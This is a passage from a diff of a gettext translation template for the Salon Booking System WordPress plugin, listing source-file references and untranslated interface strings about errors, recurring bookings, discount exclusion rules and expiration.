build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:10\n-msgid \"User booking cancellation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:523\n+msgid \"Error refreshing data: \"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:528\n+msgid \"Error refreshing license data. Please try again.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:77\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:185\n+msgid \"Error! Something is gone wrong.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:20, views\u002Fsettings\u002F_tab_booking_rescheduling.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:10\n-msgid \"Booking rescheduling\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:104\n+msgid \"Error, email not sent\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:32\n-msgid \"How many people you can attend during a single time\u002Fsession?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:294\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:322\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:294\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:322\n+msgid \"Error:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:444\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:444\n+msgid \"Events\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:49\n-msgid \"Set these options carefully because it will affect the number of bookings you can accept for the same \u003Cstrong>time\u002Fsession\u003C\u002Fstrong>.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:778\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:778\n+msgid \"Every 25 Minutes\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:102\n+msgid \"Every booking submission is scored from 0.0 (bot) to 1.0 (human)\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1115\n+msgid \"every four week\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:62\n-msgid \"This option will change the minimum hour fraction of the Time picker.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1114\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1114\n+msgid \"every three week\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:78\n-msgid \"Minutes per session\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1113\n+msgid \"every two weeks\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:83, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:83, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:83\n-msgid \"We suggest you to set this option accordingly with the duration of your shortest service.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1112\n+msgid \"every week\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:7, views\u002Fsettings\u002Ftab_checkout.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:16\n-msgid \"Checkout options\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:35\n+msgid \"Example:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:8, views\u002Fsettings\u002Ftab_checkout.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:39\n-msgid \"Facebook login\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:44\n+msgid \"Exclude bookings on\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:92\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:92\n+msgid \"Excluded Dates\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:37\n+msgid \"Exclusion rule\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rules.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rules.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FMetabox\u002FDiscount.php:55\n+msgid \"Exclusion rules\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:88\n+msgid \"Exclusive service\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:9, views\u002Fsettings\u002Ftab_checkout.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:70\n-msgid \"Checkout form fields\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:138\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:138\n+msgid \"Execution Order\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:10, views\u002Fsettings\u002Ftab_checkout.php:260, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:260, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:260\n-msgid \"Advanced Discount System\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:32\n+msgid \"Expiration\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:11, views\u002Fsettings\u002Ftab_checkout.php:278, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:278, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:278\n-msgid \"Services selection limit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:698\n+msgid \"Expired\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:12, views\u002Fsettings\u002Ftab_checkout.php:350, src\u002FSLN\u002FHelper\u002FCalendarLink.php:79, src\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:350, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:350, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, 